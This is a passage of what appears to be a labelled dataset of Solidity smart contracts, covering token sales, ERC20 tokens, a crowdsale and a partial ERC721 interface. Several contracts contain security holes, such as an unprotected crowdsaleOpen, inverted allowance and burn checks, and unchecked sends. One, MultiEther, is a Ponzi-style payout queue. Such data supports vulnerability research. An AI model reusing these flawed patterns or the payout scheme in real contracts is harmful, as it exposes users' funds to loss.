public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'CDG', 'CDG') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } }
0
766
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != 0x0); require(newOwner != owner); owner = newOwner; } } contract TokenERC20 { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); constructor () public {} function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != 0x0); allowance[msg.sender][_spender] = _value; return true; } } contract INVToken is owned,TokenERC20 { string public name = "INVESTACOIN"; string public symbol = "INV"; uint8 public decimals = 18; address private paymentAddress = 0x75B42A1AB0e23e24284c8E0E8B724472CF8623Cd; uint256 public buyPrice; uint256 public totalSupply = 50000000e18; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor () public owned() TokenERC20() { balanceOf[msg.sender] = totalSupply; } function () payable { buy(); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); return TokenERC20.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public { require(!frozenAccount[msg.sender]); return TokenERC20.transfer(_to, _value); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function setbuyPrice( uint256 newBuyPrice) onlyOwner public { require(newBuyPrice > 0); buyPrice = newBuyPrice; } function transferPaymentAddress(address newPaymentAddress) onlyOwner public { require(newPaymentAddress != 0x0); require(newPaymentAddress != paymentAddress); paymentAddress = newPaymentAddress; } function buy() payable public { require(msg.value > 0); require(buyPrice > 0); paymentAddress.transfer(msg.value); } }
1
4,496
library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Whitelistable is Ownable { event LogUserRegistered(address indexed sender, address indexed userAddress); event LogUserUnregistered(address indexed sender, address indexed userAddress); mapping(address => bool) public whitelisted; function registerUser(address userAddress) public onlyOwner { require(userAddress != 0); whitelisted[userAddress] = true; LogUserRegistered(msg.sender, userAddress); } function unregisterUser(address userAddress) public onlyOwner { require(whitelisted[userAddress] == true); whitelisted[userAddress] = false; LogUserUnregistered(msg.sender, userAddress); } } contract DisbursementHandler is Ownable { struct Disbursement { uint256 timestamp; uint256 tokens; } event LogSetup(address indexed vestor, uint256 tokens, uint256 timestamp); event LogChangeTimestamp(address indexed vestor, uint256 index, uint256 timestamp); event LogWithdraw(address indexed to, uint256 value); ERC20 public token; mapping(address => Disbursement[]) public disbursements; mapping(address => uint256) public withdrawnTokens; function DisbursementHandler(address _token) public { token = ERC20(_token); } function setupDisbursement( address vestor, uint256 tokens, uint256 timestamp ) public onlyOwner { require(block.timestamp < timestamp); disbursements[vestor].push(Disbursement(timestamp, tokens)); LogSetup(vestor, timestamp, tokens); } function changeTimestamp( address vestor, uint256 index, uint256 timestamp ) public onlyOwner { require(block.timestamp < timestamp); require(index < disbursements[vestor].length); disbursements[vestor][index].timestamp = timestamp; LogChangeTimestamp(vestor, index, timestamp); } function withdraw(address to, uint256 value) public { uint256 maxTokens = calcMaxWithdraw(); uint256 withdrawAmount = value < maxTokens ? value : maxTokens; withdrawnTokens[msg.sender] = SafeMath.add(withdrawnTokens[msg.sender], withdrawAmount); token.transfer(to, withdrawAmount); LogWithdraw(to, value); } function calcMaxWithdraw() public constant returns (uint256) { uint256 maxTokens = 0; Disbursement[] storage temp = disbursements[msg.sender]; for (uint256 i = 0; i < temp.length; i++) { if (block.timestamp > temp[i].timestamp) { maxTokens = SafeMath.add(maxTokens, temp[i].tokens); } } maxTokens = SafeMath.sub(maxTokens, withdrawnTokens[msg.sender]); return maxTokens; } } library StateMachineLib { struct Stage { bytes32 nextId; mapping(bytes4 => bool) allowedFunctions; } struct State { bytes32 currentStageId; function(bytes32) internal onTransition; mapping(bytes32 => bool) validStage; mapping(bytes32 => Stage) stages; } function setInitialStage(State storage self, bytes32 stageId) internal { self.validStage[stageId] = true; self.currentStageId = stageId; } function createTransition(State storage self, bytes32 fromId, bytes32 toId) internal { require(self.validStage[fromId]); Stage storage from = self.stages[fromId]; if (from.nextId != 0) { self.validStage[from.nextId] = false; delete self.stages[from.nextId]; } from.nextId = toId; self.validStage[toId] = true; } function goToNextStage(State storage self) internal { Stage storage current = self.stages[self.currentStageId]; require(self.validStage[current.nextId]); self.currentStageId = current.nextId; self.onTransition(current.nextId); } function checkAllowedFunction(State storage self, bytes4 selector) internal constant returns(bool) { return self.stages[self.currentStageId].allowedFunctions[selector]; } function allowFunction(State storage self, bytes32 stageId, bytes4 selector) internal { require(self.validStage[stageId]); self.stages[stageId].allowedFunctions[selector] = true; } } contract StateMachine { using StateMachineLib for StateMachineLib.State; event LogTransition(bytes32 indexed stageId, uint256 blockNumber); StateMachineLib.State internal state; modifier checkAllowed { conditionalTransitions(); require(state.checkAllowedFunction(msg.sig)); _; } function StateMachine() public { state.onTransition = onTransition; } function getCurrentStageId() public view returns(bytes32) { return state.currentStageId; } function conditionalTransitions() public { bytes32 nextId = state.stages[state.currentStageId].nextId; while (state.validStage[nextId]) { StateMachineLib.Stage storage next = state.stages[nextId]; if (startConditions(nextId)) { state.goToNextStage(); nextId = next.nextId; } else { break; } } } function startConditions(bytes32) internal constant returns(bool) { return false; } function onTransition(bytes32 stageId) internal { LogTransition(stageId, block.number); } } contract TimedStateMachine is StateMachine { event LogSetStageStartTime(bytes32 indexed stageId, uint256 startTime); mapping(bytes32 => uint256) internal startTime; function startConditions(bytes32 stageId) internal constant returns(bool) { uint256 start = startTime[stageId]; return start != 0 && block.timestamp > start; } function setStageStartTime(bytes32 stageId, uint256 timestamp) internal { require(state.validStage[stageId]); require(timestamp > block.timestamp); startTime[stageId] = timestamp; LogSetStageStartTime(stageId, timestamp); } function getStageStartTime(bytes32 stageId) public view returns(uint256) { return startTime[stageId]; } } contract Sale is Ownable, TimedStateMachine { using SafeMath for uint256; event LogContribution(address indexed contributor, uint256 amountSent, uint256 excessRefunded); event LogTokenAllocation(address indexed contributor, uint256 contribution, uint256 tokens); event LogDisbursement(address indexed beneficiary, uint256 tokens); bytes32 public constant SETUP = "setup"; bytes32 public constant SETUP_DONE = "setupDone"; bytes32 public constant SALE_IN_PROGRESS = "saleInProgress"; bytes32 public constant SALE_ENDED = "saleEnded"; mapping(address => uint256) public contributions; uint256 public weiContributed = 0; uint256 public contributionCap; address public wallet; MintableToken public token; DisbursementHandler public disbursementHandler; function Sale( address _wallet, uint256 _contributionCap ) public { require(_wallet != 0); require(_contributionCap != 0); wallet = _wallet; token = createTokenContract(); disbursementHandler = new DisbursementHandler(token); contributionCap = _contributionCap; setupStages(); } function() external payable { contribute(); } function setSaleStartTime(uint256 timestamp) external onlyOwner checkAllowed { setStageStartTime(SALE_IN_PROGRESS, timestamp); } function setSaleEndTime(uint256 timestamp) external onlyOwner checkAllowed { require(getStageStartTime(SALE_IN_PROGRESS) < timestamp); setStageStartTime(SALE_ENDED, timestamp); } function setupDone() public onlyOwner checkAllowed { uint256 _startTime = getStageStartTime(SALE_IN_PROGRESS); uint256 _endTime = getStageStartTime(SALE_ENDED); require(block.timestamp < _startTime); require(_startTime < _endTime); state.goToNextStage(); } function contribute() public payable checkAllowed { require(msg.value > 0); uint256 contributionLimit = getContributionLimit(msg.sender); require(contributionLimit > 0); uint256 totalContribution = contributions[msg.sender].add(msg.value); uint256 excess = 0; if (weiContributed.add(msg.value) > contributionCap) { excess = weiContributed.add(msg.value).sub(contributionCap); totalContribution = totalContribution.sub(excess); } if (totalContribution > contributionLimit) { excess = excess.add(totalContribution).sub(contributionLimit); contributions[msg.sender] = contributionLimit; } else { contributions[msg.sender] = totalContribution; } require(excess <= msg.value); weiContributed = weiContributed.add(msg.value).sub(excess); if (excess > 0) { msg.sender.transfer(excess); } wallet.transfer(this.balance); assert(contributions[msg.sender] <= contributionLimit); LogContribution(msg.sender, msg.value, excess); } function distributeTimelockedTokens( address beneficiary, uint256 tokenAmount, uint256 timestamp ) public onlyOwner checkAllowed { disbursementHandler.setupDisbursement( beneficiary, tokenAmount, timestamp ); token.mint(disbursementHandler, tokenAmount); LogDisbursement(beneficiary, tokenAmount); } function setupStages() internal { state.setInitialStage(SETUP); state.createTransition(SETUP, SETUP_DONE); state.createTransition(SETUP_DONE, SALE_IN_PROGRESS); state.createTransition(SALE_IN_PROGRESS, SALE_ENDED); state.allowFunction(SETUP, this.distributeTimelockedTokens.selector); state.allowFunction(SETUP, this.setSaleStartTime.selector); state.allowFunction(SETUP, this.setSaleEndTime.selector); state.allowFunction(SETUP, this.setupDone.selector); state.allowFunction(SALE_IN_PROGRESS, this.contribute.selector); state.allowFunction(SALE_IN_PROGRESS, 0); } function createTokenContract() internal returns (MintableToken); function getContributionLimit(address userAddress) public view returns (uint256); function startConditions(bytes32 stageId) internal constant returns (bool) { if (stageId == SALE_ENDED && contributionCap <= weiContributed) { return true; } return super.startConditions(stageId); } function onTransition(bytes32 stageId) internal { if (stageId == SALE_ENDED) { onSaleEnded(); } super.onTransition(stageId); } function onSaleEnded() internal {} } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Basic is ERC20Basic { function transfer(address _to, uint _value, bytes _data) public returns (bool); event Transfer(address indexed _from, address indexed _to, uint256 indexed _value, bytes _data); } contract ERC223BasicToken is ERC223Basic, BasicToken { function transfer(address _to, uint _value, bytes _data) public returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_to) } require(super.transfer(_to, _value)); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; require(transfer(_to, _value, empty)); return true; } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract DetherToken is DetailedERC20, MintableToken, ERC223BasicToken { string constant NAME = "Dether"; string constant SYMBOL = "DTH"; uint8 constant DECIMALS = 18; function DetherToken() DetailedERC20(NAME, SYMBOL, DECIMALS) public {} } contract DetherSale is Sale, Whitelistable { uint256 public constant PRESALE_WEI = 3956 ether * 1.15 + 490 ether; uint256 public constant DECIMALS_MULTIPLIER = 1000000000000000000; uint256 public constant MAX_DTH = 100000000 * DECIMALS_MULTIPLIER; uint256 public constant WEI_CAP = 10554 ether; uint256 public constant WHITELISTING_DURATION = 2 days; uint256 public constant WHITELISTING_MAX_CONTRIBUTION = 5 ether; uint256 public constant PUBLIC_MAX_CONTRIBUTION = 2**256 - 1; uint256 public constant MIN_CONTRIBUTION = 0.1 ether; uint256 public weiPerDTH; bool private lockedTokensDistributed; bool private presaleAllocated; address public presaleAddress; uint256 private weiAllocated; mapping(address => uint256) public presaleMaxContribution; function DetherSale(address _wallet, address _presaleAddress) Sale(_wallet, WEI_CAP) public { presaleAddress = _presaleAddress; } function performInitialAllocations() external onlyOwner checkAllowed { require(lockedTokensDistributed == false); lockedTokensDistributed = true; distributeTimelockedTokens(0x4dc976cEd66d1B87C099B338E1F1388AE657377d, MAX_DTH.mul(3).div(100), now + 6 * 4 weeks); distributeTimelockedTokens(0xfEF675cC3068Ee798f2312e82B12c841157A0A0E, MAX_DTH.mul(3).div(100), now + 1 weeks); distributeTimelockedTokens(0x8F38C4ddFE09Bd22545262FE160cf441D43d2489, MAX_DTH.mul(25).div(1000), now + 6 * 4 weeks); distributeTimelockedTokens(0x87a4eb1c9fdef835DC9197FAff3E09b8007ADe5b, MAX_DTH.mul(25).div(1000), now + 6 * 4 weeks); distributeTimelockedTokens(0x6f63D5DF2D8644851cBb5F8607C845704C008284, MAX_DTH.mul(11).div(100), now + 1 weeks); distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 6 * 4 weeks); distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 2 * 6 * 4 weeks); distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 3 * 6 * 4 weeks); distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 4 * 6 * 4 weeks); distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 5 * 6 * 4 weeks); distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 6 * 6 * 4 weeks); } function registerPresaleContributor(address userAddress, uint256 maxContribution) external onlyOwner { require(maxContribution <= WHITELISTING_MAX_CONTRIBUTION); registerUser(userAddress); presaleMaxContribution[userAddress] = maxContribution; } function allocateTokens(address contributor) external checkAllowed { require(presaleAllocated); require(contributions[contributor] != 0); weiAllocated = weiAllocated.add(contributions[contributor]); token.mint(contributor, contributions[contributor].mul(DECIMALS_MULTIPLIER).div(weiPerDTH)); contributions[contributor] = 0; if (weiAllocated == weiContributed) { uint256 remaining = MAX_DTH.sub(token.totalSupply()); token.mint(owner, remaining); token.finishMinting(); } } function presaleAllocateTokens() external checkAllowed { require(!presaleAllocated); presaleAllocated = true; token.mint(presaleAddress, PRESALE_WEI.mul(DECIMALS_MULTIPLIER).div(weiPerDTH)); } function contribute() public payable checkAllowed { require(msg.value >= MIN_CONTRIBUTION); super.contribute(); } function getContributionLimit(address userAddress) public view returns (uint256) { uint256 saleStartTime = getStageStartTime(SALE_IN_PROGRESS); if (!whitelisted[userAddress] || block.timestamp < saleStartTime) { return 0; } bool whitelistingPeriod = block.timestamp - saleStartTime <= WHITELISTING_DURATION; return whitelistingPeriod ? presaleMaxContribution[userAddress] : PUBLIC_MAX_CONTRIBUTION; } function createTokenContract() internal returns(MintableToken) { return new DetherToken(); } function setupStages() internal { super.setupStages(); state.allowFunction(SETUP, this.performInitialAllocations.selector); state.allowFunction(SALE_ENDED, this.allocateTokens.selector); state.allowFunction(SALE_ENDED, this.presaleAllocateTokens.selector); } function calculatePrice() public view returns(uint256) { return weiContributed.add(PRESALE_WEI).div(60000000).add(1); } function onSaleEnded() internal { weiPerDTH = calculatePrice(); } }
1
4,218
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract RTcoin { using SafeMath for uint256; address public owner; address public saleAgent; uint256 public totalSupply; string public name; uint8 public decimals; string public symbol; bool private allowEmission = true; mapping (address => uint256) balances; function RTcoin(string _name, string _symbol, uint8 _decimals) public { decimals = _decimals; name = _name; symbol = _symbol; owner = msg.sender; } function changeSaleAgent(address newSaleAgent) public onlyOwner { require (newSaleAgent!=address(0)); uint256 tokenAmount = balances[saleAgent]; if (tokenAmount>0) { balances[newSaleAgent] = balances[newSaleAgent].add(tokenAmount); balances[saleAgent] = balances[saleAgent].sub(tokenAmount); Transfer(saleAgent, newSaleAgent, tokenAmount); } saleAgent = newSaleAgent; } function emission(uint256 amount) public onlyOwner { require(allowEmission); require(saleAgent!=address(0)); totalSupply = amount * (uint256(10) ** decimals); balances[saleAgent] = totalSupply; Transfer(0x0, saleAgent, totalSupply); allowEmission = false; } function burn(uint256 _value) public { require(_value > 0); address burner; if (msg.sender==owner) burner = saleAgent; else burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } modifier onlyOwner() { require(msg.sender == owner); _; } event Transfer( address indexed _from, address indexed _to, uint _value ); } contract Crowdsale { using SafeMath for uint256; address fundsWallet; RTcoin public token; address public owner; bool public open = false; uint256 public tokenLimit; uint256 public rate = 20000; function Crowdsale(address _fundsWallet, address tokenAddress, uint256 _rate, uint256 _tokenLimit) public { fundsWallet = _fundsWallet; token = RTcoin(tokenAddress); rate = _rate; owner = msg.sender; tokenLimit = _tokenLimit * (uint256(10) ** token.decimals()); } function() external isOpen payable { require(tokenLimit>0); fundsWallet.transfer(msg.value); uint256 tokens = calculateTokenAmount(msg.value); token.transfer(msg.sender, tokens); tokenLimit = tokenLimit.sub(tokens); } function changeFundAddress(address newAddress) public onlyOwner { require(newAddress != address(0)); fundsWallet = newAddress; } function changeRate(uint256 newRate) public onlyOwner { require(newRate>0); rate = newRate; } function calculateTokenAmount(uint256 weiAmount) public constant returns(uint256) { if (token.decimals()!=18){ uint256 tokenAmount = weiAmount.mul(rate).div(uint256(10) ** (18-token.decimals())); return tokenAmount; } else return weiAmount.mul(rate); } modifier onlyOwner() { require(msg.sender == owner); _; } function allowSale() public onlyOwner { open = true; } function disallowSale() public onlyOwner { open = false; } modifier isOpen() { require(open == true); _; } }
1
3,255
pragma solidity ^0.4.25; contract MultiEther { struct Deposit { address depositor; uint deposit; uint payout; } Deposit[] public queue; mapping (address => uint) public depositNumber; uint public currentReceiverIndex; uint public totalInvested; address public support = msg.sender; uint public amountForSupport; function () public payable { require(block.number >= 6661266); if(msg.value > 0){ require(gasleft() >= 250000); require(msg.value >= 0.01 ether && msg.value <= calcMaxDeposit()); require(depositNumber[msg.sender] == 0); queue.push( Deposit(msg.sender, msg.value, 0) ); depositNumber[msg.sender] = queue.length; totalInvested += msg.value; if (amountForSupport < 10 ether) { uint fee = msg.value / 5; amountForSupport += fee; support.transfer(fee); } pay(); } } function pay() internal { uint money = address(this).balance; uint multiplier = calcMultiplier(); for (uint i = 0; i < queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; uint totalPayout = dep.deposit * multiplier / 100; uint leftPayout; if (totalPayout > dep.payout) { leftPayout = totalPayout - dep.payout; } if (money >= leftPayout) { if (leftPayout > 0) { dep.depositor.send(leftPayout); money -= leftPayout; } depositNumber[dep.depositor] = 0; delete queue[idx]; } else{ dep.depositor.send(money); dep.payout += money; break; } if (gasleft() <= 55000) { break; } } currentReceiverIndex += i; } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } function calcMaxDeposit() public view returns (uint) { if (totalInvested <= 20 ether) { return 1 ether; } else if (totalInvested <= 50 ether) { return 1.2 ether; } else if (totalInvested <= 100 ether) { return 1.4 ether; } else if (totalInvested <= 200 ether) { return 1.7 ether; } else { return 2 ether; } } function calcMultiplier() public view returns (uint) { if (totalInvested <= 20 ether) { return 120; } else if (totalInvested <= 50 ether) { return 117; } else if (totalInvested <= 100 ether) { return 115; } else if (totalInvested <= 200 ether) { return 113; } else { return 110; } } }
0
202
pragma solidity ^0.4.18; contract Owned { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Owned ()public { owner = msg.sender; } function changeOwner(address _newOwner) onlyOwner public{ owner = _newOwner; } } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData)public; } contract ERC20Token { uint256 public totalSupply; function balanceOf(address _owner)public constant returns (uint256 balance); function transfer(address _to, uint256 _value)public returns (bool success); function transferFrom(address _from, address _to, uint256 _value)public returns (bool success); function approve(address _spender, uint256 _value)public returns (bool success); function allowance(address _owner, address _spender)public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract UTokenContract is ERC20Token, Owned{ string public constant standard = "U Token V1.0"; string public constant name = "U Token"; string public constant symbol = "UT"; uint256 public constant decimals = 6; uint256 private constant etherChange = 10**18; uint256 public totalSupply; uint256 public totalRemainSupply; uint256 public UTExchangeRate; bool public crowdsaleIsOpen; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; address public multisigAddress; event mintToken(address indexed _to, uint256 _value); event burnToken(address indexed _from, uint256 _value); function () payable public{ require (crowdsaleIsOpen == true); require(msg.value != 0); mintUTToken(msg.sender, (msg.value * UTExchangeRate * 10**decimals) / etherChange); } function UTokenContract(uint256 _totalSupply, uint256 __UTExchangeRate)public { owner = msg.sender; totalSupply = _totalSupply * 10**decimals; UTExchangeRate = __UTExchangeRate; totalRemainSupply = totalSupply; crowdsaleIsOpen = true; } function setUTExchangeRate(uint256 _UTExchangeRate) onlyOwner public{ UTExchangeRate = _UTExchangeRate; } function crowdsaleOpen(bool _crowdsaleIsOpen)public { crowdsaleIsOpen = _crowdsaleIsOpen; } function UTTotalSupply()public constant returns (uint256) { return totalSupply - totalRemainSupply; } function balanceOf(address _owner)public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value)public returns (bool success) { require (balances[msg.sender] > _value); require (balances[_to] + _value > balances[_to]); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value)public returns (bool success) { allowances[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData)public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); approve(_spender, _value); spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } function transferFrom(address _from, address _to, uint256 _value)public returns (bool success) { require (balances[_from] > _value); require (balances[_to] + _value > balances[_to]); require (_value > allowances[_from][msg.sender]); balances[_from] -= _value; balances[_to] += _value; allowances[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender)public constant returns (uint256 remaining) { return allowances[_owner][_spender]; } function withdraw(address _multisigAddress)public onlyOwner { require(_multisigAddress != 0x0); multisigAddress = _multisigAddress; multisigAddress.transfer(this.balance); } function mintUTToken(address _to, uint256 _amount) internal { require (balances[_to] + _amount > balances[_to]); require (totalRemainSupply > _amount); totalRemainSupply -= _amount; balances[_to] += _amount; mintToken(_to, _amount); Transfer(0x0, _to, _amount); } function mintTokens(address _sendTo, uint256 _sendAmount)public onlyOwner { mintUTToken(_sendTo, _sendAmount); } function burnTokens(address _addr, uint256 _amount)public onlyOwner { require (balances[msg.sender] < _amount); totalRemainSupply += _amount; balances[_addr] -= _amount; burnToken(_addr, _amount); Transfer(_addr, 0x0, _amount); } }
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3,510
pragma solidity ^0.4.23; contract ERC721Basic { event Transfer( address indexed _from, address indexed _to, uint256 _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := 